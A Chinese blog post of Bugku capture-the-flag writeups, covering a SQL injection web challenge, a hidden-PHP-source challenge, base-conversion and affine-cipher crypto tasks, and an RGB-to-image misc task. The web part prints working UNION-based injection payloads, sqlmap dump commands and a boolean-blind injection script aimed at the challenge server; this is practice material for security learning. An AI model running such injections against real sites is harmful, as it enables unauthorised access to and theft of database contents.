一些bugku的题目wp

题目来源

bugku

WEB

成绩单

传送门

手注


类sql注入题目。

直接查询可以查询到id=3.

1’ order by 1#

1’ order by 2#

到id=5时无返回数据,可以得知有四个字段。

爆当前数据库:

-1' union select 1,2,3,database() #

令id=-1是因为界面只显示一个查询结果,联合查询看不到后面我们要查询的数据,所以使id=-1即不存在的数据即可正常显示我们要查询的数据。

如图:

得知当前使用数据库为skctf_flag.

接着爆表:

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

爆字段:

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

查询字段:

-1' union select 1,2,3,skctf_flag from fl4g#

得到flag。

burpsuite+sqlmap

输入1,用burp抓包,复制所抓包内容,在sqlmap的文件夹内另存为一个txt文件:233.txt。

启动sqlmap,

python sqlmap.py -r 233.txt -p id --current-db

-r使sqlmap加载233.txt,-p指定注入用的参数。

可以看到得到了当前的数据库。

继续

 python sqlmap.py -r 233.txt -p id -D skctf_flag --tables

使用fl4g,继续

python sqlmap.py -r 233.txt -p id -D skctf_flag -T fl4g --columns

 python sqlmap.py -r 233.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump

可以看到正在盲注。

这里讲道理是应该直接爆出来的,但不知出了什么问题无法继续了。。。

python脚本

由1’ and 1=1#返回数据,而1’ and 1=2#不返回数据,可知可进行布尔盲注。

# -*- coding:utf-8 -*-
import requests
import re

url = "http://120.24.86.145:8002/chengjidan/index.php"

base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag 
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"

information=""

for m in range(1,50):
	for i in range(32,129):
    	post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
    	r = requests.post(url,post_data)
    	resultarr = re.findall(r"<td>(.+?)<td>",r.text)
    	result = ''.join(resultarr)
    	#print result 
    	#print r.text
    	#print post_data
    	if '60' not in result:
        	information += chr(i)
        		break
print information

拿的dalao的,找时间自己写。。。

never give up

一道很有意思的题目。

进入页面,查看源代码。

看到1p.html,访问但却跳转到https://www.bugku.com/

此处应该有__window.location.href__ 的跳转。

我们可以这样查看1p.html的源代码:

view-source:http://123.206.87.240:8006/test/1p.html

发现源代码。

可以看出有url编码和base64加密。分别解密后得到:

<?php
	if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>

可以审计,但没必要orz。

直接访问f4l2a3g.txt得到flag。

CRYPTO

进制转换

要求将包含二进制,八进制,十进制,十六进制的字符串转换。

写脚本转换为十六进制,再用工具转换成字符串。

脚本:(python3)

str = 'd87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e'
list = str.split(' ')
for i in range(len(list)):
	if list[i].startswith('d'):
		list[i] = hex(int(list[i][1::]))[2::]
	if list[i].startswith('x'):
		list[i] = list[i][1::]
	if list[i].startswith('o'):
		list[i] = hex(int(list[i][1::],8))[2::]
	if list[i].startswith('b'):
		list[i] = hex(int(list[i][1::],2))[2::]
res = ' '
print(res.join(list))

affine

仿射密码。

上脚本:(python2)

#!/user/bin/env python
#-*- coding:utf-8 -*-

charlist='abcdefghijklmnopqrstuvwxyz' 
newlist='' 
a = input("please input the 'a' in the 'y=ax+b' ")
print
b = input("please input the 'b' in the 'y=ax+b' ")
print
for i in range(len(charlist)): 
	newlist+=charlist[(a*i+b)%26] 
tstr=raw_input("please input str  ")
print
ostr='' 
for char in tstr:
	ostr+=charlist[newlist.find(char)] 
print "result: ",ostr

MISC

好多数值

题目给了一个1.txt

使用python的PIL模块来根据rgb数值画图。
脚本如下:

# -*- coding:utf-8 -*-
from PIL import Image
x = 503     # 对行数61366因数分解,x和y分别是行和列
y = 122
im = Image.new("RGB",(x,y)) # 新建一个图片
f = open("1.txt",'r')	#打开题目文件
for i in range(x):
	for j in range(y):
    	line = f.readline()
    	pixel = line.split(',')
    	im.putpixel((i,j),(int(pixel[0]),int(pixel[1]),int(pixel[2]))) #为图片的每个坐标点填充像素
im.show()
f.close()

运行结果:
拿到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值